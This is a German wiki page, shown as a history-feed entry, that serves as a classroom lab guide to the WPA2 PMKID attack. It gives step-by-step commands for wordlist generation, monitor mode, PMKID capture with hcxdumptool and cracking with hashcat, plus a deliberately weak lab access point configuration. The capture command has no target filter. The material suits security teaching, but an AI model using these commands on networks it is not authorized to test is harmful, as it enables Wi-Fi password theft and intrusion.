https://wiki.ixheim.de/index.php?action=history&feed=atom&title=Wlan_PMKID-Angriff 2026-06-29T04:03:38Z Versionsgeschichte dieser Seite in Xinux Wiki MediaWiki 1.35.1 https://wiki.ixheim.de/index.php?title=Wlan_PMKID-Angriff&diff=63215&oldid=prev 2025-05-21T13:17:58Z

<p>Die Seite wurde neu angelegt: „=PMKID-Angriff in der WLAN-Schulung= == Vorbereitung == =Passwordliste generieren= *crunch 8 8 0123456789 -o password.lst Crunch will now generate the follow…“</p> <p><b>Neue Seite</b></p><div>=PMKID-Angriff in der WLAN-Schulung=<br /> <br /> == Vorbereitung ==<br /> =Passwordliste generieren=<br /> *crunch 8 8 0123456789 -o password.lst<br /> Crunch will now generate the following amount of data: 900000000 bytes<br /> ... dies dauert eine Weile<br /> <br /> =Störende Dienste stoppen=<br /> *systemctl stop avahi-daemon<br /> *systemctl stop NetworkManager<br /> <br /> =Interface suchen=<br /> *airmon-ng<br /> &lt;pre&gt;<br /> PHY Interface Driver Chipset<br /> phy0 wlan0 rtl8812au Alfa AWUS036ACH<br /> &lt;/pre&gt;<br /> <br /> =Interface vorbereiten=<br /> *ip link set wlan0 down<br /> *iw dev wlan0 set type monitor<br /> *ip link set wlan0 up<br /> <br /> =PMKID-Sammlung starten=<br /> *hcxdumptool -i wlan0 -o pmkid.pcapng --enable_status=15<br /> ;läuft, bis man Strg+C drückt<br /> <br /> =PMKID extrahieren=<br /> *hcxpcapngtool -o pmkid.hash -E essidlist.txt pmkid.pcapng<br /> <br /> =PMKID mit Hashcat knacken=<br /> *hashcat -m 16800 pmkid.hash password.lst<br /> <br /> =Beispielhafte Auswertung=<br /> *Laptop: ~1000 H/s<br /> *GPU (RTX 3080): bis 800000 H/s<br /> *Crack über GPU-Cluster oder Cloud möglich<br /> <br /> == AP-Konfiguration für PMKID-Test==<br /> =Garantiert PMKID-fähige hostapd.conf=<br /> &lt;pre&gt;<br /> interface=wlan0<br /> driver=nl80211<br /> ssid=crackme<br /> hw_mode=g<br /> channel=6<br /> country_code=DE<br /> ieee80211n=1<br /> auth_algs=1<br /> wpa=2<br /> wpa_key_mgmt=WPA-PSK<br /> rsn_pairwise=CCMP<br /> wpa_passphrase=Sommer2024<br /> own_ip_addr=127.0.0.1<br /> eap_server=0<br /> &lt;/pre&gt;<br /> <br /> ;Hinweis: hostapd bietet PMKID standardmäßig an, wenn ein Client verbunden war oder Roaming aktiviert ist.<br /> <br /> == Fake-APs simulieren (für mehrere Gruppen)==<br /> =Option 1: Mehrere Instanzen von hostapd (getrennte Interfaces notwendig)=<br /> *cp hostapd.conf hostapd1.conf<br /> *cp hostapd.conf hostapd2.conf<br /> *Ändere SSID und channel in jeder Datei<br /> <br /> Beispiel:<br /> &lt;pre&gt;<br /> ssid=crackme01<br /> channel=1<br /> &lt;/pre&gt;<br /> &lt;pre&gt;<br /> ssid=crackme02<br /> channel=6<br /> &lt;/pre&gt;<br /> *hostapd -dd hostapd1.conf &amp;<br /> *hostapd -dd hostapd2.conf &amp;<br /> <br /> =Option 2: Einfacher Fake-AP mit create_ap (nur zu Demo-Zwecken)=<br /> *apt install create-ap<br /> *create_ap wlan0 eth0 crackme123 Sommer2024<br /> <br /> ;Wird nicht von allen PMKID-Tools erkannt, aber gut für Fake-Kulisse oder Captive Portals.<br /> <br /> == Schülerübung: &quot;Crack Me!&quot; WLAN ==<br /> =Zielsetzung=<br /> * Schüler scannen Umgebung<br /> * Erfassen PMKID mit hcxdumptool<br /> * Cracken mit vorbereiteter Wordlist<br /> <br /> =Beispiel-SSID und Passwort (nicht in Liste)=<br /> *SSID: crackme<br /> *Passwort: Sommer2024<br /> <br /> =passende Wordlist (Ausschnitt)=<br /> &lt;pre&gt;<br /> hallo123<br /> testtest<br /> Sommer2023<br /> Sommer2024<br /> Winter2024<br /> 12345678<br /> 98765432<br /> 00001234<br /> &lt;/pre&gt;<br /> <br /> =Cracken starten=<br /> *hashcat -m 16800 pmkid.hash wordlist.txt<br /> <br /> == Abschluss ==<br /> =Diskussion=<br /> * Warum klappt PMKID ohne Client?<br /> * Welche APs sind verwundbar?<br /> * Warum ist WPA3 hier sicherer?<br /> <br /> =Weiterführende Tools=<br /> *Bettercap<br /> *roguehostapd<br /> *hostapd-wpe (für Enterprise-Angriffe)<br /> *Captive-Portal-Frameworks: WiFiPhisher, Fluxion<br /> <br /> =Videos=<br /> *[https://www.youtube.com/watch?v=dvmrQ0CzCy4 PMKID Angriff mit hcxdumptool]<br /> *[https://www.youtube.com/watch?v=vnLfCtpANvI WPA Handshake Crack]<br /> <br /> =Links=<br /> *[https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 Cracking WPA-PMKID with Hashcat]<br /> *[https://github.com/ZerBea/hcxdumptool hcxdumptool GitHub]<br /> *[https://github.com/ZerBea/hcxtools hcxtools GitHub]</div>

Thomas.will